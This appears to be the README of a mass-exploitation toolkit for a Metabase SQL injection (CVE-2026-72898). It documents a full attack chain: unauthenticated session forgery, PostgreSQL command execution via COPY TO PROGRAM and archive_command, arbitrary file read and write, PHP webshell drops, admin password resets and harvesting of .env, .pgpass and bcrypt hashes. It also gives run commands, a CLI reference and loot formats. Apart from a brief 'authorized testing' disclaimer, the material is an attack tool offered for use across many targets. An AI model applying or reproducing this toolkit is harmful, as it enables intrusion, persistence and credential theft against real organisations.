
CVE-2026-72898 — Mass exploitation & post-exploitation toolkit for Metabase. Session forgery, SQLi, PostgreSQL RCE via COPY TO PROGRAM, file read/write, webshell drop, and credential harvesting. For authorized pentesting only.
CVE-2026-72898 — Metabase Mass Exploitation & Post-Exploitation Framework
A threaded Python 2 compatible exploit + post-exploitation toolkit targeting the SQL injection in Metabase's /api/session/reset_password endpoint that enables unauthenticated session forgery, authenticated API access, and — on PostgreSQL-backed instances — full RCE, file read, and file write capabilities.
⚠️ FOR AUTHORIZED SECURITY TESTING AND RESEARCH ONLY. See DISCLAIMER.
More Disclaimer You Can see the disclaimer on the cover of Jenderal92. You can check it HERE !!!
/api/session/propertiesreset_password parameter injectionpg_sleep timing oracle for PostgreSQL detectionsuper, pg_execute_server_program, pg_read_server_files, pg_write_server_files, current_userThree fallback methods:
COPY ... TO PROGRAMCOPY ... FROM PROGRAMALTER SYSTEM archive_command + pg_switch_walpg_read_file() (chunked)lo_export() and COPY ... TO.env, .pgpass, core_user password hashes (opt-in)pgcrypto.txt files, easy to grep/awk/importgit clone https://github.com/Jenderal92/metapwn-mass.git
cd metapwn-mass
chmod +x metapwn.py
No pip install needed.
Basic:
python metapwn.py targets.txt
targets.txt — one target per line (scheme optional):
https://metabase.example.com
http://10.0.0.5:3000
metabase.internal.corp
# lines starting with # are ignored
Full example:
python metapwn.py targets.txt \
-t 20 \
-o ./loot \
--exec "id; uname -a" \
--shell \
--shell-url https://metabase.example.com \
--reset-admin [email protected] \
--hashes \
-v
All files are tab-separated with a header row (safe to grep, cut, awk, import to Excel).
rce.txt| Column | Description |
|---|---|
target | Base URL |
engine | Detected DB engine |
version | Metabase version tag |
exec_method | copy-to-program / copy-from-program / archive-command / none / lo_export |
exec_status | yes / no / file-write |
super | Postgres superuser |
exec_prog | Has pg_execute_server_program |
read_files | Has pg_read_server_files |
write_files | Has pg_write_server_files |
db_user | current_user |
proof | Command output or capability summary |
user_password.txt| Column | Description |
|---|---|
target | Base URL |
email | Email / key identifier |
password | Password, hash, or secret value |
session_id | Verified session id if applicable |
status | verified-forged-session / verified-new-admin / verified-reset / bcrypt-hash / env-secret:* / pgpass |
shell.txt| Column | Description |
|---|---|
target | Base URL |
docroot | Writable directory used |
shell_url | Reachable URL (if verified) |
perms | ls -l output or write method |
exec_proof | id output from shell |
status | verified / written / no-docroot / write-failed |
1. GET /api/session/properties → detect Metabase + version
2. POST /api/session/reset_password → SQLi → INSERT forged core_session
3. GET /api/user/current → verify session as superuser
4. (optional) POST /api/user → create login user
5. (optional) reset admin password → pgcrypto crypt() UPDATE
6. SELECT pg_sleep(3) → confirm PostgreSQL
7. POST /api/user → probe user for read-back channel
8. Privilege probe → 5 SELECT via read-back
9. RCE attempt → copy-to-program → copy-from-program → archive-command
10. (fallback) File-write shell → lo_export + HTTP verify
11. Read-file recon → .env / .pgpass
12. (optional) Dump bcrypt hashes
13. Cleanup → DELETE probe user
The read-back channel uses UPDATE core_user SET last_name = CAST((<expr>) AS VARCHAR) then GET /api/user/<id> to exfiltrate single scalar values. This avoids outbound connections from the DB and works through any HTTP-only path.
| Privilege | Source | Enables |
|---|---|---|
rolsuper = true | pg_roles | Everything below |
pg_execute_server_program | pg_has_role | RCE via COPY ... PROGRAM, archive_command |
pg_read_server_files | pg_has_role | Arbitrary file read via pg_read_file |
pg_write_server_files | pg_has_role | File write via lo_export, COPY ... TO |
When exec is closed but write is open, the tool drops a PHP webshell via lo_export and verifies it over HTTP — no command execution on the DB host required.
COPY TO PROGRAM available)ss -tln / netstat -tln → listening portsps aux → nginx/apache/php-fpm processes/etc/nginx, /etc/apache2, /etc/httpd configs for root / DocumentRoot/proc/<pid>/cwd of web processes?c=id--shell-rm removes the shellpg_write_server_files only)lo_export + pg_stat_fileIf no docroot is writable, the row is still logged with status=no-docroot.
echo "https://metabase.corp" > one.txt
python metapwn.py one.txt -q --exec "cat /etc/passwd | head"
python metapwn.py targets.txt -t 30 -o loot/ \
--exec "id" --shell --shell-url https://metabase.corp \
--reset-admin [email protected] --hashes -v
python metapwn.py targets.txt --no-exec --no-shell
python metapwn.py targets.txt --no-exec --no-shell --no-login-user
positional arguments:
listfile File with one target per line
output:
-o, --outdir DIR Output directory (default: .)
--rce-file NAME Default: rce.txt
--passwd-file NAME Default: user_password.txt
--shell-file NAME Default: shell.txt
scanning:
-t, --threads N Worker threads (default: 10)
--timeout SEC HTTP timeout (default: 20)
--ssl Prefix bare targets with https://
-v, --verbose Print exceptions / tracebacks
-q, --quiet Suppress per-row stdout echoes
execution:
--exec CMD Command to run (default: id)
--no-exec Disable RCE attempts
--shell Drop webshell (default: on)
--no-shell Disable shell drop
--shell-url URL Override base URL for shell reachability check
--shell-rm Remove shell after verification